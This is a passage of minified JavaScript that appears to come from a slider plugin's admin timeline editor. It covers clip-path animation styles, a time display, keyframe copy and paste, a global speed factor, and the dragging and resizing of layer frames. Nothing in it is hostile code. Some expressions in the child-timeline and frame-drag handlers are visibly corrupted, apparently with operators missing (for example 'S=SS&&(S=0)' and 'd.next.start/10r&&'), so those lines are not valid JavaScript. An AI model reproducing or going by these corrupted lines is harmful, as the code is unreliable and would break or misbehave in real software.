0%, 0% 0%)";break;case"invv":i.clipPath="polygon(100% 0%, 0% 0%, 0% "+p+"%, 100% "+p+"%, 100% 100%, 0% 100%, 0% "+u+"%, 100% "+u+"%, 100% 0%)";break;case"cv":i.clipPath=c?"polygon("+(50-R)+"% 0%, "+(50+R)+"% 0%, "+(50+R)+"% 100%, "+(50-R)+"% 100%)":"circle("+p+"% at 50% 50%)";break;case"ch":i.clipPath=c?"polygon(0% "+(50-R)+"%, 0% "+(50+R)+"%, 100% "+(50+R)+"%, 100% "+(50-R)+"%)":"circle("+p+"% at 50% 50%)";break;case"l":i.clipPath=c?"polygon(0% 0%, "+p+"% 0%, "+p+"% 100%, 0% 100%)":"circle("+p+"% at 0% 50%)";break;case"r":i.clipPath=c?"polygon("+(100-p)+"% 0%, 100% 0%, 100% 100%, "+(100-p)+"% 100%)":"circle("+p+"% at 100% 50%)";break;case"t":i.clipPath=c?"polygon(0% 0%, 100% 0%, 100% "+p+"%, 0% "+p+"%)":"circle("+p+"% at 50% 0%)";break;case"b":i.clipPath=c?"polygon(0% 100%, 100% 100%, 100% "+(100-p)+"%, 0% "+(100-p)+"%)":"circle("+p+"% at 50% 100%)";break;case"lt":i.clipPath=c?"polygon(0% 0%,"+2*p+"% 0%, 0% "+2*p+"%)":"circle("+p+"% at 0% 0%)";break;case"lb":i.clipPath=c?"polygon(0% "+(100-2*p)+"%, 0% 100%,"+2*p+"% 100%)":"circle("+p+"% at 0% 100%)";break;case"rt":i.clipPath=c?"polygon("+(100-2*p)+"% 0%, 100% 0%, 100% "+2*p+"%)":"circle("+p+"% at 100% 0%)";break;case"rb":i.clipPath=c?"polygon("+(100-2*p)+"% 100%, 100% 100%, 100% "+(100-2*p)+"%)":"circle("+p+"% at 100% 100%)";break;case"clr":i.clipPath=c?"polygon(0% 0%, 0% "+p+"%, "+(100-p)+"% 100%, 100% 100%, 100% "+(100-p)+"%, "+p+"% 0%)":"circle("+p+"% at 50% 50%)";break;case"crl":i.clipPath=c?"polygon(0% "+(100-p)+"%, 0% 100%, "+p+"% 100%, 100% "+p+"%, 100% 0%, "+(100-p)+"% 0%)":"circle("+p+"% at 50% 50%)"}!0!==RVS.F.isFirefox()&&(i["-webkit-clip-path"]=i.clipPath),i["clip-path"]=i.clipPath,delete i.clip}else i.clip&&(i.clipPath=RVS.L[e.layerid].idle.spikeUse?"polygon("+RVS.F.getClipPaths(RVS.L[e.layerid].idle.spikeLeft,0,parseFloat(RVS.L[e.layerid].idle.spikeLeftWidth))+","+RVS.F.getClipPaths(RVS.L[e.layerid].idle.spikeRight,100,100-parseFloat(RVS.L[e.layerid].idle.spikeRightWidth),!0)+")":"none",!0!==RVS.F.isFirefox()&&(i["-webkit-clip-path"]=i.clipPath),i["clip-path"]=i.clipPath,delete i.clip);return void 0!==e.frame&&void 0!==e.frame.bfilter&&e.frame.bfilter.use&&(i["backdrop-filter"]=RVS.F.buildBackdropFilter(e.frame.bfilter)),void 0!==e.frame&&void 0!==e.frame.filter&&e.frame.filter.use?(i.filter=RVS.F.buildFilter(e.frame.filter),i["-webkit-filter"]=i.filter):jQuery.inArray(e.source,["chars","words","lines"])>=0&&e.frame[e.source].fuse?(i.filter=RVS.F.buildFilter(e.frame[e.source]),i["-webkit-filter"]=i.filter):e.sessionFilterUsed||void 0===e.sessionFilterUsed?(i["-webkit-filter"]="blur(0px) grayscale(0%) brightness(100%)",i.filter="blur(0px) grayscale(0%) brightness(100%)"):(i["-webkit-filter"]="none",i.filter="none"),i.ease=void 0!==i.ease?i.ease:void 0===i.ease&&void 0!==e.ease||void 0!==i.ease&&void 0!==e.ease&&"inherit"===i.ease?e.ease:e.frame.timeline.ease,i.ease=void 0===i.ease||"default"===i.ease?"power3.inOut":i.ease,i.force3D="auto",i}function y(e,t){e=e<0?0:e;var i=Math.floor(e/6e3),a=Math.floor(Math.ceil(e-6e3*i)/100),r=Math.round(e-100*a-6e3*i);0==i?i="00":i<10&&(i="0"+i.toString()),0==a?a="00":a<10&&(a="0"+a.toString()),0==r?r="00":r<10&&(r="0"+r.toString()),t.ctm.textContent=i.toString(),t.cts.textContent=a.toString(),t.ctms.textContent=r.toString()}RVS.F.initTimeLineModules=function(){RVS.ENV.tlGridWrap=void 0===RVS.ENV.tlGridWrap?jQuery("#tl_gridmanagement_wrap"):RVS.ENV.tlGridWrap,RVS.ENV.tlMultipWrap=void 0===RVS.ENV.tlMultipWrap?jQuery(".tl_multip_wrap"):RVS.ENV.tlMultipWrap,RVS.ENV.tlMagnifWrap=void 0===RVS.ENV.tlMagnifWrap?jQuery(".tl_magnifying_wrap"):RVS.ENV.tlMagnifWrap,RVS.DOC.on("click","#maxtime",function(){jQuery(".slide_submodule_trigger.selected").removeClass("selected"),RVS.F.mainMode({mode:"slidelayout",forms:["*slidelayout**mode__slidestyle*#form_slide_progress"],set:!0,uncollapse:!0,slide:RVS.S.slideId})}),RVS.DOC.on("updateAllLayerFrames",RVS.F.updateAllLayerFrames),RVS.DOC.on("updateSlideLoopRange",function(){RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.set&&RVS.F.updateSlideLoopTimes({cont:!0,pos:!0,start:RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.start/10,end:RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.end/10})}),RVS.DOC.on("updateFixedScrollRange",function(){RVS.SLIDER.settings.scrolltimeline.set&&RVS.SLIDER.settings.scrolltimeline.fixed&&RVS.F.updateFixedScrollTimes({cont:!0,pos:!0,start:parseInt(RVS.SLIDER.settings.scrolltimeline.fixedStart)/10,end:parseInt(RVS.SLIDER.settings.scrolltimeline.fixedEnd)/10})}),RVS.DOC.on("click","#the_slide_timeline",function(){return RVS.F.selectLayers({overwrite:!0}),jQuery(".slide_submodule_trigger.selected").removeClass("selected"),RVS.F.mainMode({mode:"slidelayout",forms:["*slidelayout**mode__slidestyle*#form_slide_transition"],set:!0,uncollapse:!0,slide:RVS.S.slideId}),!1}),RVS.DOC.on("click","#tl_multiplicator",function(){RVS.ENV.tlMultipWrap.toggleClass("selected"),RVS.ENV.tlMultipWrap.hasClass("selected")&&(RVS.ENV.tlMagnifWrap.removeClass("selected"),RVS.ENV.tlGridWrap.removeClass("selected"),RVS.F.clearSnapVisual())}),RVS.DOC.on("click","#tl_framemagnet",function(){RVS.ENV.tlMagnifWrap.toggleClass("selected"),RVS.ENV.tlMagnifWrap.hasClass("selected")&&(RVS.ENV.tlMultipWrap.removeClass("selected"),RVS.ENV.tlGridWrap.removeClass("selected"),RVS.F.clearSnapVisual())}),RVS.DOC.on("click","#tl_gridmanagement",function(){RVS.F.updateEasyInputs({container:RVS.ENV.tlGridWrap,visualUpdate:!0}),RVS.ENV.tlGridWrap.toggleClass("selected"),RVS.ENV.tlGridWrap.hasClass("selected")?(RVS.F.snapVisual(),RVS.ENV.tlMagnifWrap.removeClass("selected"),RVS.ENV.tlMultipWrap.removeClass("selected")):RVS.F.clearSnapVisual()}),RVS.DOC.on("click",".closeme_tl_miniwrapper",function(){RVS.ENV.tlGridWrap.removeClass("selected"),RVS.ENV.tlMagnifWrap.removeClass("selected"),RVS.ENV.tlMultipWrap.removeClass("selected")}),RVS.DOC.on("magnetframes",function(e,t){void 0!==t&&void 0!==t.val&&(s=t.val)}),RVS.DOC.on("click","#gsf_ok",function(){var e=parseInt(document.getElementById("general_speed_factor").value,0);if(RVS.F.isNumeric(e)&&100!==e){for(var t in e/=100,RVS.F.openBackupGroup({id:"frame",txt:"General Timings",icon:"access_time"}),RVS.L)if(void 0!==RVS.L[t].timeline)for(var i in RVS.L[t].timeline.frames){if(!RVS.L[t].timeline.frames.hasOwnProperty(i))continue;let a=RVS.L[t].timeline.frames[i];RVS.F.isNumeric(parseInt(a.timeline.start,0))&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t+".timeline.frames."+i+".timeline.start",val:Math.round(parseInt(a.timeline.start,0)*e)}),RVS.F.isNumeric(parseInt(a.timeline.speed,0))&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t+".timeline.frames."+i+".timeline.speed",val:Math.round(parseInt(a.timeline.speed,0)*e)}),a.words.use&&RVS.F.isNumeric(parseInt(a.words.delay,0))&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t+".timeline.frames."+i+".words.delay",val:Math.round(parseInt(a.words.delay,0)*e)}),a.chars.use&&RVS.F.isNumeric(parseInt(a.chars.delay,0))&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t+".timeline.frames."+i+".chars.delay",val:Math.round(parseInt(a.chars.delay,0)*e)}),a.lines.use&&RVS.F.isNumeric(parseInt(a.lines.delay,0))&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t+".timeline.frames."+i+".lines.delay",val:Math.round(parseInt(a.lines.delay,0)*e)})}RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.timeline.delay",val:10*Math.round(RVS.F.getSlideLength()*e)}),RVS.F.isNumeric(RVS.SLIDER[RVS.S.slideId].slide.slideChange.speed)&&RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.slideChange.speed",val:Math.round(RVS.SLIDER[RVS.S.slideId].slide.slideChange.speed*e)}),RVS.F.updateAllLayerFrames(),requestAnimationFrame(function(){RVS.F.updateSlideFrames()}),RVS.F.closeBackupGroup({id:"frame"}),RVS.DOC.trigger("updateMaxTime")}document.getElementById("general_speed_factor").value="100%"}),RVS.DOC.on("updateMaxTime",function(e,t){for(var i in RVS.F.updateMaxTime({pos:!0,cont:!0}),RVS.SLIDER.slideIDs){var a=RVS.SLIDER.slideIDs[i];if(!(void 0===a||(""+a).indexOf("static")>=0)){r=RVS.F.getSlideLength(a);var s=RVS.F.getSlideLayersEndWithSlide(a);for(var o in s)s.hasOwnProperty(o)&&s[o].endWithSlide&&(RVS.SLIDER[a].layers[o].timeline.frames.frame_999.timeline.start=10*r,""+a==""+RVS.S.slideId&&RVS.F.updateLayerFrame({layerid:o,frame:"frame_999",maxtime:r}))}}}),RVS.DOC.on("windowresized",function(){RVS.TL.hasOwnProperty("cache")&&(RVS.TL.timelineStartedFromPlayStop=!1,RVS.TL.cache.main=0,RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"}),RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"}))}),RVS.DOC.on("updateSlideTransitionTimeLine",function(){requestAnimationFrame(function(){RVS.F.updateSlideFrames(),RVS.F.redrawSlideBG()})}),RVS.DOC.on("playTimeLine",function(){RVS.F.changeSwitchState({el:document.getElementById("timline_process"),state:"stop"}),RVS.TL.timelineStartedFromPlayStop=!0,RVS.F.buildMainTimeLine();var e=RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main?RVS.TL[RVS.S.slideId].main.time():0;RVS.F.updateTimeLine({force:!0,state:"time",time:e,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0}),RVS.F.updateTimeLine({state:"play",timeline:"main",force:!1})}),RVS.DOC.on("stopTimeLine",function(){RVS.TL.cache.main=0,RVS.TL.timelineStartedFromPlayStop=!1,RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"}),RVS.F.buildMainTimeLine(),RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"})}),RVS.DOC.on("previewLayerAnimation",function(){for(var e in RVS.S.shwLayerAnim=!0,RVS.F.changeSwitchState({el:document.getElementById("layer_simulator"),state:"stop"}),RVS.F.changeSwitchState({el:document.getElementById("layer_simulator_loop"),state:"stop"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(e)&&(RVS.F.renderLayerAnimation({layerid:RVS.selLayers[e]}),RVS.F.playLayerAnimation({layerid:RVS.selLayers[e]}))}),RVS.DOC.on("previewStopLayerAnimation",function(){RVS.S.shwLayerAnim=!1,RVS.F.changeSwitchState({el:document.getElementById("layer_simulator"),state:"play"}),RVS.F.changeSwitchState({el:document.getElementById("layer_simulator_loop"),state:"play"}),RVS.F.stopAllLayerAnimation()}),RVS.DOC.on("click","#copy_keyframe",function(){1==RVS.selLayers.length&&void 0!==RVS.S.keyFrame&&(l=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame]),jQuery("#paste_keyframe").show())}),RVS.DOC.on("click","#paste_keyframe",function(){if(1==RVS.selLayers.length&&void 0!==RVS.S.keyFrame){var e=RVS.F.getPrevNextFrame({layerid:RVS.selLayers[0],frame:RVS.S.keyFrame});if(e.next.start>=e.cur.end+l.timeline.frameLength){var t=RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame];l.timeline.actionTriggered=t.timeline.actionTriggered,l.timeline.start=t.timeline.start,l.timeline.startRelative=t.timeline.startRelative,RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".timeline.frames."+RVS.S.keyFrame,val:l}),RVS.DOC.trigger("updateKeyFramesList"),RVS.F.updateAllLayerFrames(),RVS.F.updateLayerInputFields()}else RVS.F.showInfo({content:RVS_LANG.framesizecannotbeextended,type:"warning",showdelay:0,hidedelay:2,hideon:"",event:""})}}),RVS.TL.c.layertime=jQuery("#layer_simulator_time"),RVS.TL.c.layerprogress=jQuery("#layer_animation_progressarrow")},RVS.F.animateSlide=function(e,t,i,a){},RVS.F.buildMainTimeLine=function(e){RVS.TL[RVS.S.slideId].main=new tpGS.TimelineMax({paused:!0}),RVS.TL[RVS.S.slideId]=void 0===RVS.TL[RVS.S.slideId]?{}:RVS.TL[RVS.S.slideId],RVS.TL[RVS.S.slideId].slide=void 0===RVS.TL[RVS.S.slideId].slide?new tpGS.gsap.timeline:RVS.TL[RVS.S.slideId].slide,RVS.TL[RVS.S.slideId].main.add(RVS.TL[RVS.S.slideId].slide,0),RVS.TL[RVS.S.slideId].main.add("end",RVS.F.getSlideLength()/100),window.tpfake=1,RVS.TL[RVS.S.slideId].main.add(new tpGS.gsap.set(window,{tpfake:0}),"end"),RVS.SLIDER[RVS.S.slideId].slide.panzoom.set&&void 0!==RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].main.add(RVS.TL[RVS.S.slideId].panzoom,0),e&&(e.time||e.progress)&&RVS.F.updateTimeLine({timeline:"main",state:"time",time:e.tim}),RVS.TL[RVS.S.slideId].main.eventCallback("onUpdate",function(){RVS.F.updateCurTime({pos:!0,cont:!0,left:100*this._time,refreshMainTimeLine:!1,caller:"buildMainTimeLine"})}),RVS.TL[RVS.S.slideId].main.eventCallback("onComplete",function(){RVS.TL.timelineStartedFromPlayStop&&(RVS.TL.timelineStartedFromPlayStop=!1,RVS.TL.cache.main=0,RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"}))})},RVS.F.resetSlideTL=function(){void 0!==RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.kill(),RVS.TL[RVS.S.slideId].slide=new tpGS.gsap.timeline},RVS.F.updateFramesZIndexes=function(e){var t=1e3;for(var i in void 0===RVS.L[e.layerid].timeline.frameOrder&&RVS.F.getFrameOrder({layerid:e.layerid}),RVS.L[e.layerid].timeline.frameOrder)if(RVS.L[e.layerid].timeline.frameOrder.hasOwnProperty(i)&&"frame_0"!==RVS.L[e.layerid].timeline.frameOrder[i].id){var a=document.getElementById(RVS.S.slideId+"_"+e.layerid+"_"+RVS.L[e.layerid].timeline.frameOrder[i].id);a&&tpGS.gsap.set(a,{zIndex:t}),t--}},RVS.F.addFrame=function(e){var t={wrap:e.container,bg:jQuery(e.container.getElementsByTagName("framebg")[0]),frame:RVS.F.cE({t:"framewrap",id:RVS.S.slideId+"_"+e.layerid+"_"+e.frame,cN:"frame_"+e.frame,ds:{layertype:e.layertype,layerid:e.layerid,frame:e.frame}}),framedelay:RVS.F.cE({t:"framedelay"}),info:RVS.F.cE({t:"frameinfo"}),sloop:RVS.F.cE({t:"startloop"}),eloop:RVS.F.cE({t:"endloop"}),marker:RVS.F.cE({t:"marker"}),obj:e};return"frame_1"===e.frame&&(t.frame.appendChild(RVS.F.cE({t:"ffbefore",ds:{frame:"frame_0"}})),t.frame.appendChild(RVS.F.cE({t:"ffafter",ds:{frame:"frame_1"}}))),t.framedelay.textContent="2500",t.sloop.appendChild(RVS.F.cI({c:"chevron_right"})),t.eloop.appendChild(RVS.F.cI({c:"chevron_left"})),t.frame.appendChild(t.framedelay),t.frame.appendChild(t.sloop),t.frame.appendChild(t.eloop),t.frame.appendChild(t.info),t.frame.appendChild(t.marker),e.container.appendChild(t.frame),void 0===RVS.TL.frameMouseListenerObjects&&(RVS.TL.frameMouseListenerObjects={},RVS.DOC.on("mouseenter","framewrap",function(){if(void 0===this.dataset.mlisteners){this.dataset.mlisteners=!0;var e=RVS.TL.frameMouseListenerObjects[this.id];e.jframe=jQuery(e.frame),void 0!==e.obj.resize&&e.jframe.resizable({handles:e.obj.resize,minWidth:5,start:e.obj.start,stop:e.obj.stopresize,resize:e.obj.onresize}),void 0!==e.obj.ondrag&&(e.jframe.draggable({axis:"x",delay:50,start:e.obj.start,stop:e.obj.stopdrag,drag:e.obj.ondrag}),e.bg.draggable({axis:"x",delay:50,start:e.obj.start,stop:e.obj.stopdrag,drag:e.obj.ondrag}))}})),RVS.TL.frameMouseListenerObjects[t.frame.id]=t,t},RVS.F.buildSlideFrames=function(){RVS.TL.fref=void 0===RVS.TL.fref?RVS.F.addFrame({container:document.querySelector("#slide_frame_container .frameswrap"),frame:"0",resize:"e",layerid:"",start:function(e,t){i=(i=RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main?RVS.TL[RVS.S.slideId].main.time():0)<.0015?"idle":i,a=t.element.find("frameinfo"),r=RVS.F.getSlideLength(),RVS.TL.inDrag=!0},onresize:function(e,t){t.size.width=t.size.width<=r?t.size.width:r;var s=RVS.F.slideAnimWithMoreRowCol()?10*t.size.width/(1+1/(RVS.SLIDER[RVS.S.slideId].slide.slideChange.d/10)):10*t.size.width;RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.slideChange.speed",val:Math.round(s),ignoreBackup:!0}),RVS.F.buildMainTimeLine({time:i}),RVS.F.redrawSlideBG(),a[0].innerHTML=10*t.size.width,document.getElementById("sltrans_duration").value=Math.round(s)},stopresize:function(e,t){var a=RVS.F.slideAnimWithMoreRowCol()?10*t.size.width/(1+1/(RVS.SLIDER[RVS.S.slideId].slide.slideChange.d/10)):10*t.size.width;RVS.F.backup({path:RVS.S.slideId+".slide.slideChange.speed",lastkey:"speed",val:Math.round(a),old:10*t.originalSize.width}),RVS.F.buildMainTimeLine({time:i}),RVS.F.timelineDragsStop(),RVS.F.redrawSlideBG(),document.getElementById("sltrans_duration").value=Math.round(a),requestAnimationFrame(function(){RVS.F.updateSlideFrames()})}}):RVS.TL.fref,requestAnimationFrame(function(){RVS.F.updateSlideFrames()})},RVS.F.slideAnimWithMoreRowCol=function(){let e=RVS.SLIDER[RVS.S.slideId].slide.slideChange.in.row>1||RVS.SLIDER[RVS.S.slideId].slide.slideChange.in.col>1;for(var t in RVS.JHOOKS.slideAnimRowColCheck)RVS.JHOOKS.slideAnimRowColCheck.hasOwnProperty(t)&&(e=RVS.JHOOKS.slideAnimRowColCheck[t](e));return e},RVS.F.updateSlideFrames=function(e){(e=void 0===e?{}:e).slidedelay=void 0===e.slidedelay?RVS.F.getSlideLength():e.slidedelay;var t=RVS.SLIDER[RVS.S.slideId].slide.slideChange.speed;t="default"===t||"Default"===t||"Random"===t?1e3:parseFloat(t,0);var i=RVS.F.slideAnimWithMoreRowCol()?t/(RVS.SLIDER[RVS.S.slideId].slide.slideChange.d/10):0;t=Math.round(Math.round(t+i)/10),RVS.TL.ssubref=void 0===RVS.TL.ssubref?document.getElementById("slideframespeed_sub"):RVS.TL.ssubref,e.animspeed=void 0===e.animspeed?t:e.animspeed,RVS.TL.ssubref.innerHTML="("+10*e.animspeed+")",tpGS.gsap.set(RVS.TL.fref.wrap,{width:e.slidedelay}),tpGS.gsap.set(RVS.TL.fref.frame,{width:e.animspeed}),RVS.TL.fref.info.innerHTML=10*e.animspeed},RVS.F.addLayerFrames=function(e,t){RVS.TL[RVS.S.slideId].layers=void 0===RVS.TL[RVS.S.slideId].layers?{}:RVS.TL[RVS.S.slideId].layers,RVS.TL[RVS.S.slideId].layers[e.uid]=void 0===RVS.TL[RVS.S.slideId].layers[e.uid]?{}:RVS.TL[RVS.S.slideId].layers[e.uid];var i=10*RVS.F.getSlideLength();for(var a in void 0===e.timeline.frameOrder&&RVS.F.getFrameOrder({layerid:e.uid}),e.timeline.frameOrder)if(e.timeline.frameOrder.hasOwnProperty(a)){var r=e.timeline.frameOrder[a].id;"frame_0"!==r&&(e.timeline.frames.frame_999.timeline.start=0===e.timeline.frames.frame_999.timeline.start||e.timeline.frames.frame_999.timeline.start>i?i:e.timeline.frames.frame_999.timeline.start,RVS.F.addLayerFrameOnDemand(e,t,r))}RVS.F.updateFramesZIndexes({layerid:e.uid})},RVS.F.addLayerFrameOnDemand=function(e,t,i){RVS.F.addLayerFrame({frame:e.timeline.frames[i],frameindex:i,layerid:e.uid,layertype:e.type,framecontainer:RVS.TL[RVS.S.slideId].layers[e.uid],wrap:t.querySelector(".frameswrap")}),RVS.F.updateLayerFrame({layerid:e.uid,frame:i})},RVS.F.getLayerAliasAndFrame=function(e){var t=e.frame.replace("_"," ").replace("f","F");return t=RVS.F.sanitize_input(RVS.L[e.layerid].alias)+" "+t},RVS.F.setChildrenTimelines=function(e){if(void 0!==e.childLayers)for(var t in e.childLayers)if(e.childLayers.hasOwnProperty(t)){var i=e.childLayers[t];for(var a in RVS.L[t].timeline.frameOrder)if(fi=RVS.L[t].timeline.frameOrder[a],i.frames.hasOwnProperty(fi)&&"frame_0"!==fi){var s=RVS.F.getPrevNextFrame({layerid:t,frame:fi}),o=i.frames[fi]/10-e.difference;s.prev.end/10>=o?o=s.prev.end/10:s.next.start/10<=o+s.cur.framelength/10&&(o=s.next.start/10-s.cur.framelength/10),o>r&&(o=r),void 0===i.endWithSlide?RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[fi].timeline.start=10*o:i.endWithSlide?RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[fi].timeline.start=10*o:i.frames[fi]>10*r&&"frame_999"===fi&&!i.endWithSlide&&(RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[fi].timeline.start=Math.max(s.prev.end,10*r)),RVS.F.updateLayerFrame({layerid:t,frame:fi,maxtime:r})}}},RVS.F.moveChildrenTimelines=function(e){if(void 0!==e.childLayers)for(var t in e.childLayers)if(e.childLayers.hasOwnProperty(t)&&(1!=s||t===o.layerid)){var i=e.childLayers[t],a=i.forder.length-1;for(var n in i.forder)if(i.forder.hasOwnProperty(n)){var l=-1===e.order?i.forder[a-n]:i.forder[n];if("frame_0"!==l){var d=RVS.F.getPrevNextFrame({layerid:t,frame:l}),S=i.frames[l]/10-e.difference;d.prev.frameid===o.frame&&e.thend&&d.prev&&(S=SS&&(S=0),d.next.start/10r&&(S=r),(void 0===i.endWithSlide||i.endWithSlide)&&(RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[l].timeline.start=10*S),i.frames[l]>10*r&&"frame_999"===l&&!i.endWithSlide&&(RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[l].timeline.start=Math.max(d.prev.end,10*r)),RVS.F.updateLayerFrame({layerid:t,frame:l,maxtime:r})}}}},RVS.F.backupChildren=function(e){if(void 0!==e.childLayers)for(var t in e.childLayers)if(e.childLayers.hasOwnProperty(t)){var i=e.childLayers[t];for(var a in i.frames)i.frames.hasOwnProperty(a)&&RVS.F.backup({path:RVS.S.slideId+".layers."+t+".timeline.frames."+a+".timeline.start",lastkey:"start",val:RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[a].timeline.start,old:i.frames[a]})}},RVS.F.getFirstFrame=function(e){return void 0===RVS.L[e.layerid].timeline.frameOrder&&RVS.F.getFrameOrder({layerid:e.layerid}),"frame_0"===RVS.L[e.layerid].timeline.frameOrder[0].id?RVS.L[e.layerid].timeline.frameOrder[1].id:RVS.L[e.layerid].timeline.frameOrder[0].id},RVS.F.addLayerFrame=function(e){e.framecontainer[e.frameindex]=RVS.F.addFrame({container:e.wrap,frame:e.frameindex,layerid:e.layerid,layertype:e.layertype,resize:"w,e",start:function(e,t){if(RVS.TL.inDrag=!0,RVS.TL.tS.classList.add("frame_in_drag"),RVS.TL.timeBeforeFrameChange=null==RVS.TL[RVS.S.slideId].main?0:RVS.TL[RVS.S.slideId].main.time(),"true"!==(o=void 0===t.element?{licontainer:document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+t.helper[0].dataset.layerid),layerid:t.helper[0].dataset.layerid,frame:t.helper[0].dataset.frame,type:t.helper[0].dataset.layertype,bg:t.helper[0].dataset.bg}:{layerid:t.element[0].dataset.layerid,frame:t.element[0].dataset.frame,type:t.element[0].dataset.layertype,bg:t.element[0].dataset.bg}).bg?(o.frameName=RVS.F.getLayerAliasAndFrame(o),n=RVS.F.getPrevNextFrame(o),o.path=RVS.F.getLayerObjPath(o)):(o.layerwidth=t.helper.width(),o.frame="All Frames",n=RVS.F.getPrevNextFrame({layerid:o.layerid,frame:RVS.F.getFirstFrame({layerid:o.layerid})}),o.frameName=RVS.F.getLayerAliasAndFrame(o)),r=RVS.F.getSlideLength(),(o.bg&&"dragstart"==e.type&&jQuery.inArray(o.type,["column","row","group"])>=0||"dragstart"==e.type&&o.frame==RVS.F.getFirstFrame({layerid:o.layerid})&&jQuery.inArray(o.type,["column","row","group"])>=0)&&(o.childLayers=RVS.F.getLayerChildren({layerid:o.layerid})),o.bg?o.childLayers=RVS.F.getLayerFrames({layerid:o.layerid,extend:o.childLayers}):o.childLayers=RVS.F.getLayerFrames({layerid:o.layerid,extend:o.childLayers,afterStart:n.cur.start,include999:!0}),1==s||2==s)for(var i in o.childLayers)if(o.childLayers.hasOwnProperty(i))for(var a in o.childLayers[i].forder=[],o.childLayers[i].frames)o.childLayers[i].frames.hasOwnProperty(a)&&o.childLayers[i].forder.push(a);if(RVS.F.updateFrameTime({pos:!0,cont:!0,left:n.cur.start-.31}),"frame_1"===o.frame)for(var i in jQuery(o.licontainer).addClass("frame_1_indrag"),o.childLayers)o.childLayers.hasOwnProperty(i)&&(o.childLayers[i].hiddenc=document.getElementById("frame_unvisible_start_"+RVS.S.slideId+"_"+i))},ondrag:function(e,t){for(var i in t.position.left>window.lastCachedUiPosition&&(1==s||2==s)&&RVS.F.moveChildrenTimelines({thend:t.position.left+o.framelength/10,order:-1,childLayers:o.childLayers,difference:t.originalPosition.left-t.position.left}),n=RVS.F.getPrevNextFrame(o),"true"!==o.bg?("frame_1"!==o.frame&&n.prev.end/10>=t.position.left&&(t.position.left=n.prev.end/10),"frame_1"==o.frame&&0>=t.position.left&&(t.position.left=0),n.next.layerid==o.layerid&&n.next.start/10<=t.position.left+n.cur.framelength/10&&(t.position.left=n.next.start/10-n.cur.framelength/10),t.position.left>r&&(t.position.left=r)):t.position.left=t.position.left=r?r-o.layerwidth:t.position.left,1!=s&&2!=s||RVS.F.moveChildrenTimelines({thend:t.position.left+o.framelength/10,childLayers:o.childLayers,difference:t.originalPosition.left-t.position.left}),window.lastCachedUiPosition=t.position.left,"true"!==o.bg?(RVS.F.updateSliderObj({path:o.path+"start",val:Math.round(10*t.position.left),ignoreBackup:!0}),RVS.F.updateSliderObj({path:o.path+"startRelative",val:Math.round(10*t.position.left)-n.prev.end,ignoreBackup:!0}),o.framelength=n.cur.framelength,RVS.F.updateLayerFrame(o)):RVS.F.updateLayerFrame({layerid:o.layerid,frame:"frame_999"}),jQuery.inArray(parseInt(o.layerid,0),RVS.selLayers)>=0&&(document.getElementById("layerframestart").value=Math.round(10*t.position.left)),RVS.F.updateFrameTime({pos:!0,cont:!0,left:t.position.left-.31}),o.childLayers)o.childLayers.hasOwnProperty(i)&&i!==o.layerid&&tpGS.gsap.set(o.childLayers[i].hiddenc,{width:t.position.left+20});n=RVS.F.getPrevNextFrame(o)},onresize:function(e,t){"frame_1"!==o.frame&&n.prev.end/10>t.position.left?(t.position.left=n.prev.end/10,t.size.width=(n.cur.end-n.prev.end)/10):"frame_1"==o.frame&&0>t.position.left?(t.position.left=0,t.size.width=n.cur.end/10):n.next.start/10<=t.position.left+t.size.width&&(t.size.width=(n.next.start-n.cur.start)/10),t.position.left>r&&(t.position.left=r),RVS.F.updateSliderObj({path:o.path+"start",val:Math.round(10*t.position.left),ignoreBackup:!0}),RVS.F.updateSliderObj({path:o.path+"startRelative",val:Math.round(10*t.position.left)-n.prev.end,ignoreBackup:!0}),RVS.F.updateSliderObj({path:o.path+"speed",val:Math.round(10*t.size.width-n.cur.splitDelay),ignoreBackup:!0}),RVS.F.updateLayerFrame(o),"frame_1"===o.frame&&!0===RVS.L[o.layerid].timeline.frames.frame_999.timeline.auto&&RVS.F.updateLayerFrame({layerid:o.layerid,frame:"frame_999"}),jQuery.inArray(parseInt(o.layerid,0),RVS.selLayers)>=0&&(document.getElementById("layerframespeed").value=Math.round(10*t.size.width-n.cur.splitDelay),document.getElementById("layerframestart").value=Math.round(10*t.position.left),document.getElementById("layerframespeed_sub").innerHTML="("+Math.round(10*t.size.width)+")")},stopdrag:function(e,t){for(var i in jQuery(o.licontainer).removeClass("frame_1_indrag"),RVS.F.timelineDragsStop(),RVS.F.openBackupGroup({id:"frame",txt:o.frameName+" 